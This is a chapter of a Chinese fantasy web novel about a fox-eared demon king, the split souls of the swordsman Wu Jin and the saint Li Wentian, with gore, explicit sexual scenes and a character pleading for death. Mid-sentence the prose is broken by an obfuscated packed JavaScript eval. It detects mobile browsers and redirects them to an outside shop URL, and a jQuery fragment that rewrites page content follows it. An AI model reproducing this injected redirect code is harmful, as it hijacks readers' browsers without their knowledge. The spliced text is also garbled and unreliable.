妖后护住身形比自己宽厚一大圈的[武痴版三号巫烬],对褐色长袍的剑修道,“我们是一家妖,不能互相伤害彼此。”


    妖后看向满脸阴郁的红衣修士,真诚道,“娜儿妹妹最喜欢的人就是你,你作为很会爱人的天赋型选手,能共享一点我和[三号]都能理解到的实战经验吗?”


    突然被猛夸的偏执版四号,心情多云转晴,他意简言骇道,“慢点进、别用手;正面抱着站起来时,再软声求娜儿妹妹把重力点全紧挨那处。”


    武痴版三号巫烬委屈道,“相爱的前提是见面,我除了初具意识的那天,在阴影处遥望过她的一次背影外,就没有碰到过对方第二次。


    娜儿妹妹一点都不喜欢我。”


    妖界,星盏殿。


    巫烬带他们一同去拜访离问天,白衣剑修礼貌出声道,“离前辈,你还在吗?”


    圣者拎着血淋淋的长剑推开殿门,“在。”


    殿内灯火通明,可以瞧见不少残肢断翼,横流遍地的污黑脏迹,处处彰显诡异。


    妖后对此恐怖的场景见怪不怪,他提起长袍就抬脚迈入其内。


    后面三个经常呆于各自寝殿的巫烬魂魄切片,明显是不愿靠近此处,扑面而至的危机感让他们的直觉不停叫嚣着:快跑!


    妖后轻声道,“离前辈是娜儿妹妹认了多世的义父,是个毋庸置疑的大好人,我知道你们在担心什么,不用害怕的。


    魔尊延周每天都会被离前辈拆筋卸骨,他自个都习惯了,我们静静看着,不要打扰他受刑就好。”


    三个巫烬:“……”


    他们不约而同的想到,蓝星平行宇宙系列话本子里的一句流行用语:[你要不要看看你在说些什么?这真的是人能说出的话吗?]


    离问天顺手把危险的长剑丢在地上,“我耐心有限,你们是自己走过来?还是我把你们都杀了埋进来?”


    三个巫烬自觉跟在妖后身旁,不再出声。


    安静了片刻的他们注意到圣者脖颈上绑着一条很像狗链的饰品。


    诡计版二号巫烬小声道,“是那个吗?”


    武痴版三号巫烬仔细打量一遍,回头道,“嗯,我也想要。”


    偏执版四号巫烬低头道,“别想。”


    一号正版巫烬扶起濒死的延周,“快醒醒,我给你带了零食,你吃完再睡。”


    魔尊侧头吐出黑血,“谢谢,你真好。”


    三个巫烬:“?”


    ——感觉哪里好像不太对劲。


    圣者把新的长剑递给白衣剑修道,“那你要送他上路吗?”


    巫烬摇头婉拒道,“我与他无冤无仇,不合适这么直接下黑手。”


    延周吃完一口有剧毒的蛋挞,七窍流血,彻底咽气。


    三个巫烬:“!”


    ——妖后原来是个隐藏最深的白切黑。


    诡计版二号巫烬剑眉一蹙,娜儿妹妹把他们都养在妖界,是为了保护六界不受威胁吗?


    武痴版三号巫烬心中暗道:对面三个绝对是一群疯子吧?


    偏执版四号巫烬叹气,绝望闭眼,经常因为自己不够变太,而显得和所有生灵格格不入。


    离问天坐于主位,微笑道,“说出内心的想法吧,我也许能帮到你们。”


    武痴版三号巫烬看向妖后鼓励的眼神,他深吸一口气,提出遇见的双修问题,咨询解决方案。


    圣者直言道,“王上这一世只喜欢正版巫烬这样偏纤瘦劲干的体型,你的形象太接近延周,莽夫之态百分之九十九不可取。


    你按照妖界长老给的办法去减重与塑体即可。”


    偏执版四号巫烬跟着提问关于闺房之乐的情况。


    离问天为他把脉,确定没有隐疾,才认真道,“你去妖界图书馆寻找提升思路口才的书籍,往甜言蜜语那一类学问去恶补几个月,就没大问题了。”


    诡计版二号巫烬没有出声,圣者撇他一眼,提醒道,“王上这一世喜欢傻白甜,你如果控制不了嘴毒的毛病,就去磕点哑药,直接治本,还能顺便装可怜。”


    离问天也为白衣剑修号脉了一会,“你没他们年轻,记得少熬夜、多补肾,必要时可以去找妖界长老针灸推拿。”


    零帧起手的圣者把四个巫烬都教育老实了,回去的他们谨遵医嘱重新调整生活习惯,注意到爱人变化的娑娜对此很是惊喜。


    在狐耳少女把圣者关进星盏殿冷静数月后,她终于在[第五世,新元年一百七十六年第五月五号凌晨零点。]起了第二次去见离问天的念头。


    妖界,乐狐殿。


    圣者温顺地低头,坐于地面,“王上。”


    娑娜把守护安危的妖界长老调走,接着下意识在周围施法召出几层法阵。


    互相勾勒,狐耳少女放松的将手腕搭于前方,第一步的唇友谊顺利达成,蓝色长袍滑落,自离问天喉咙间无意识溢漏的音调,换取到了妖王轻拉缓扯其墨发的惩戒。


    玫瑰般柔软的身躯比深海宝藏还要容易迷离冒险者的心扉,本想钻木取火的游人为求长久,执意屡次服用清心丹消减滚热,裙摆因外力不断往上堆砌,黑暗的奖励吞咽起伏,无害的狗狗眼透于悲伤的泪意逐层模糊视线。


    [我没错,你也是对的。]


    蓝衣修士还是凡人时,他有过很怕黑的弱小历史,颠沛流离的苦难岁月刺痛了少年离问天薄脆的自傲心,代价是有延迟性的,就比如哪怕他后来成为前路通大道的圣尊,也接受不了一丁点的,存在威胁意味的风吹草动。


    趋利避害对他来说,是再正常不过的人生选择,所以离问天从未预想自己会有一天沦落为喜欢自取灭亡的狂浪之徒,起身紧密无间的拥抱住爱人,痛苦的绞心感混合起绝对满足的欣喜,他奉上足以毁掉自身全部底线的筹码,去赌冷血修士垂青的一句假言里的片刻真心。


    妖王仁爱的给予圣者颇多恩泽,获得救赎的他得以越过曼妙的山峰,重逢旋转到柔耸挺丘的高位,离问天放低姿态犹如献祭给神明的虔诚羔羊,缓慢又坚定的以品茶般的细腻咄吮果实的甘香。


    [不会有第三位生灵知道此事的。]


    娑娜绚烂的思潮在无微不至的呵护中绽放为空白的无暇,虽然并未对圣者一身的强健肌肉有任何好感,但对方那远超理解范围的技巧,总能恰到好处的成就无数个加法项目,狐耳少女将指尖轻点圣者的眼尾,脸庞也是端正良谦一挂的盛颜。


    退一万步说,这么懂得察言观色的离问天留于妖界真的是提纯的利益优胜小斑的弊极,算得上是后继有心的完美接班人了。


    妖王顺势把手心攀沿起圣者的肩膀,向来与世无争的精神状貌非常符合妖界的生存指标,是个与天搏命的好苗子,有他担任守护方,妖界众生定能安稳度过万年的命格劫难,一跃成为尘身至神的补拙神袛,继而新一代的妖界孩童亦能生而有鸿泰之运。


    这是连绵几千年的世外桃源计划最可落实为真理的关键之期,只要耐心等上一些岁月,届时所有妖界子民将得以肆意地畅行世间,成为外界再也不敢伤害的随心烈阳。


    蓝衣修士被妖王反压在身下,清心丹的效力退散,他慌张的取出一瓶备用的遏制心念的药膳服用,这一次的表现决定了未来能否再次自荐,离问天不想让丑恶的自己毁掉来之不易的初展。


    “离前辈,你是不是很喜欢我?”


    “我……”刻入血脉里的仆契止断了圣者正常交流的渠道。


    娑娜圣丽的面容上扬起甜甜的笑意,心念一起松开了对蓝衣修士的桎梏,狐耳少女主动拥吻起面前这个爱自己至深的离问天,他惊喜的迎承回应,天生平凡血脉的离问天发现自己居然有了一丝类于魅妖族的天赋,蓝衣修士小心的抱起妖王的身躯,往灵力水池处走去。


    [我只是个有贪心的普通修士。]


    娑娜给妖后了一粒“归心丹”,三个魂魄切片重新回到了巫烬的躯壳内,感悟颇深的他隐隐有了即将突破化神期的迹象,狐耳少女为他扫除外界的一切干扰的同时,也主动安排了解除“百世姻缘”的契约。


    巫烬是个难得一见的天才,她不想让对方殒命于红尘寿命锁当中,在和离当天,白衣剑修像前几世般又跑去自寻短见,一副[你居然不爱我?那我立刻就死给你看。]的偏激模样。


    妖王把前任道侣再次打服气后,说出经典名言之:“这是老子的自由!你要是起了对我行使强制小黑屋的爱好,我也死给你看!转世魂魄与今生尘身,保证连沫渣都不给你剩!”


    巫烬心不甘情不愿的被娑娜赶去灵力充沛之域修炼,目标是成为六界战力的天花板,至于为什么会有如此拔高的要求,那是因为狐耳少女身侧就有一个活着的传说——圣者。


    仅就事实而言,第五世修为是远甩第二名魔尊延周的、断崖式真第一的离问天到了现在,依旧对初恋妖王贼心不死,他每天的日常不是在背德的途中,就是在背德的路上全然不顾底线的玩命疾驰。


    ……


    宇宙,盟壹空间。


    来自红莲星球的语言,在天道耳畔喧嚣了数个时辰,他迷失的魂魄受到感召,深吸一口气后,天道空洞的眸色里,迸发出了微弱的求生希望。


    娑青沈周身自带的妖力包裹了两者所处的这块圆形领域。


    主神发现自己居然被一股无形的力量隔离在外面,祂根本无法靠近床榻把自己的宠物[TIAN666666]拎回来。


    主神占卜了娑青沈的来源之地,发现对方是自己丢在异世的残魂。


    主神更震惊了,祂不明白,区区一个残魂为什么能抵挡身为本源主魂的自己所施展的全部神力。


    主神手腕上汇报工作量的信息开始跳动,祂回头望了一眼无法靠近的[宠物],再次衡量了一番利弊,主神转身离开了[盟壹空间]。


    听到红莲星球语言的白发少年的眼角不断流出眼泪,他艰难的凝聚心神,望向了自己的作品[娑山海]的转世——娑青沈。


    这是天道创造的第一个孩子,跟他抢老婆的那种。


    白发少年哭着哭着就笑了出来,他用红莲星球的语言回复道,“娑青沈,你是遇到危险了吗?为什么会出现在主神的空间里?”


    天道没有起身的力气,他全身的筋骨都被主神弄断了,只有等待主神心情变好,将他带去黑沙浴池里浸泡,白发少年才能重新恢复一开始的健康。


    娑青沈面上满是眷恋,他落泪道,“离前辈,你讲的话好奇怪,我听不懂,但是我想让你知道,我真的好喜欢你。


    哪怕你要挖墙脚夺走我最爱的云霓妹妹,我也依旧希望你能过的幸福。”


    天道略作思考,思索出了对方身上可能携带了曾经自己经常使用过的BUG,他看向一无所觉的妖王,心中暗道:这会是改变命运的契机吗?


    白发少年温柔道,“娑青沈,这里不是梦境,这里是你所处的时间线上的未来。


    我记得你所处那个时间点,你是刚被离问天扒光两次衣袍,又被喂了十六颗丹药。”


    此刻没有穿任何衣物的娑青沈难得害羞了,他趴在床榻边缘,小声问道,“离前辈,你在未来过的开心吗?”


    天道苦笑直言道,“不开心,我甚至想死,但是命被锁着,我连魂飞魄散都做不到。”


    娑青沈想起刚刚看见的[心魔],他有了些不安的猜想,“是我黑化了吗?就刚才那个一直唱歌的生灵是未来囚禁你的我吗?”


    白发少年道,“你从始至终都没有黑化过,你是我见过最乖的孩子。


    那位唱歌的生灵,我并不清楚祂和你是否有关系。


    既然我们相逢了,那么说明我们是有缘分的。


    请你馈赠我一份永不聚魂的死亡吧,我活的很痛苦,再也不想存在于此界宇宙之中了。”


    现在是未来,这代表第一世时空里的娑青沈已经被时空覆盖掉了,属于非存者。


    所以,娑青沈并不能做出实际救走自己的任何行动。


    第一世妖王能承担的只有传话筒的作用。


    ——有什么办法是隐藏在自己未曾窥见的过去里面的转机呢?


    天道一时还想不出来,于是最简单粗暴的救赎方法,就是让活在过去的娑青沈将现在时间线上的未来自己杀掉。


    主神是无法跨越时间去杀掉一个非存者的,而自己被携带BUG的非存者杀掉,就是此生唯一能脱离苦海的捷径了。


    娑青沈声音颤抖道,“我爱你,我想让你活下来。”妖王看着天道眼里快要熄灭的光芒,立刻意识到自己说错话了。


    狐耳青年不知道该怎么办才是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261589|198049||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正确的,他只能尽力挽留的大声哭嚎道,“我们一起私奔好不好?


    逃离这个恐怖的未来,去到谁也找不到我们的地方。


    无论你过去现在未来会爱谁,我都会支持你,永远守护你,不让任何生灵伤害你。


    求求你给我一次信任,让我带你回去妖界吧。”


    没有任何灵力的白发少年被困居[盟壹空间]已有十年了,一直都无法逃离此地的他,面对自己创造出来的一号魂魄作品想要带自己摆脱主神控制的举动,难得也升起了想共同拼搏一次渺茫生局的念头。


    天道沉默一会,出声道,“你给我当宠物,必须服从我的所有命令,你可以做到吗?”


    娑青沈连忙回应道,“除了不做伤害你性命是事以外,我发誓,终身以你所想所想,以你所爱所爱,永远奉你为主。”


    天道看向狐耳青年那如同延周一般的傻态,又忍不住心软几分,他轻声道,“用双手抱我起来,带我去黑色的池水里沐浴。”


    娑青沈揽过白发少年的肩膀和大腿臂弯,惊恐的发现对方的脑袋呈现了不自然的下垂情况,就像是一个早已死去多时的艳尸,他开始怀疑这个自己所处的这里到底是梦境还是真实的未来?


    狐耳青年往另一道门里走去,里面果然有一个和乐狐殿极为相似的大浴池。


    娑青沈随着爱人一同沉了下去,繁多的思绪围绕着妖王,他对自己存在的意义产生了质疑。


    ——何为生,何为死?从何而来,又将去往何处?


    白发少年的尘身里重新长出健康的结构,他拉起在不断下落、似乎已有死志的娑青沈往岸上游去。


    天道久违的舒展了一下全身,终于活过来了。


    妖王无力的倒在地面,空泛的狐眸里带着和天道曾经同出一辙的绝望。


    白发少年搂住狐耳青年为他歌唱蓝星的摇篮曲,娑青沈缓慢的抓紧天道的衣袖,出声道,“离前辈,我们下一步是做什么?”


    娑青沈在黑沙浴池里,与天道携手的刹那,因魂魄里自带的[共魂]术,经历了一遍对方在这十年里的全部痛苦。


    被黑沙提纯妖力的娑青沈,一想起身临其境般被主神触碰的体验,就忍不住一直干呕。


    ——白瞎了那张和他五分相似的美脸。


    [共魂]这个技能是主神残魂在长期进化中变异出来的特别异能,身为妖王转世的他们,之前仅是在得到当事人同意后,再代入对方的视角观看其一生的抉择。


    纯视觉、听觉的回放记忆,叠加强大的逻辑推理能力,使妖王转世经常能超级有效的帮助[被助者]寻得新生。


    泡过黑纱浴池的娑青沈解锁了全面的五感六识,他在[共魂]途中,是完完全全用天道的尘身度过了那完全黑暗的十年配对。


    娑青沈早已崩溃了,他的心境属于没能挺过来的那一支BE走向。


    若非同样身处绝对逆境的天道出手捞走他,狐耳青年很有可能会成为妖界首个因为负面情绪过载,死于实力全盛时期的妖王了。


    白发少年安静抱住全心依赖自己的娑青沈,开始在脑海中进行数场模拟的、关于不同选择的推理走向。


    纯白的凡人少年,浑身都充满了怜悯世间的慈爱气场,视线往下,那团依靠于他怀中的生灵,则是犹如蓝星传说里藏匿于迷海之域,魅惑猎物自取灭亡的海中妖姬。


    湿发的狐耳青年撑起身子侧头聆听爱人的心跳声,目前发生的一切过程都过于极端,远远超出娑青沈思维能处理的极端。


    [白发版]的离问天是个活在未来的凡人,一个能化形为不同体质的[诡异生灵],不知何故缠上了离问天,每天都要对其进行洗脑式的吟唱,与高强度的反复交融。


    娑青沈心底其实还在怀疑这个的[诡异生灵]是未来的自己。


    第一个雷同点是:烂到极致的双修技术。聂云霓不止一次吐槽过,狐耳青年是个除了脸符合她心选道侣的标准之外,别的地方完全差劲的一无是处。


    展开来说就是,聂云霓与妖王共度第一次的良宵时,她一开始是满意过对方那样充满热情的体力的,完美的形体不多见,睡到就是赚到,在颜值的辅助下,红衣少女没有因道侣的鲁莽而于心底悄悄扣分。


    第二次的双修是从聂云霓误会娑青沈和延周有私情这里起头的,狐耳青年抱起炸毛的她回到乐狐殿重温经典,技术没有半点进步,但胜在心意十足。


    聂云霓接受了娑青沈的说辞,然后陪着对方一起去看那个送了巨额财产到妖界,只为占卜梦境的魔修。


    第三次……不算双修,妖王全程都只得了个亲吻上身的机会,聂云霓在那场奇妙的组合里首次感到了分心的乐趣。


    一睁眼就能面对娑青沈那张美到震撼心灵的俊脸,委屈时还能被长相端庄的爱人细细安慰。


    十个月的幸福让聂云霓深深地明白了:什么叫后天努力玩不过天赋异禀。


    聂云霓对于总吃不饱,想要单独开小灶的狐耳青年,心里表示同情。


    当娑青沈想要进一步时,红衣少女又会果然选择拒绝:“这太勉强我的个妖意志了,我不愿意。”


    路过的离问天和聂云霓打了声招呼,妖王被顺便带了过去。


    第二日,娑青沈提出让情敌教学,离问天先是诊脉,随后又扒了狐耳青年的衣物查看详情,“娑青沈你这情况也没问题呀,你是在和我炫耀?还是真的不会?


    算了,这几十本册子送你了,你拿回去多看看。


    我学了多久?我就是读了一晚上书,第二天直接实践获得一席之地的呀。


    一个生灵再笨,一个时辰内都该学会十六本户方中术的全套内容了。”


    娑青沈在那天哭兮兮的喝完好多瓶[一梦酿],醉到眼前发晕时,他看见了等在弥王树领域的修士。


    聂云霓最喜欢来这里摘蓝叶吃,妖王欢欢喜喜扑过去和爱人表白,对方依旧喜欢殴打自己,狐耳青年感受着降临于尘身上的拳击,心里美的不得了,他按着爱人开始不停亲吻。


    ——今天好幸运,居然能和道侣一起独处呢。


    傍晚,娑青沈是被人踩着脸颊清醒过来的,是那个心善的情敌,那很安全了,狐耳青年握住他的脚踝,出声道:“离前辈,你怎么在这里?我家云霓妹妹呢?”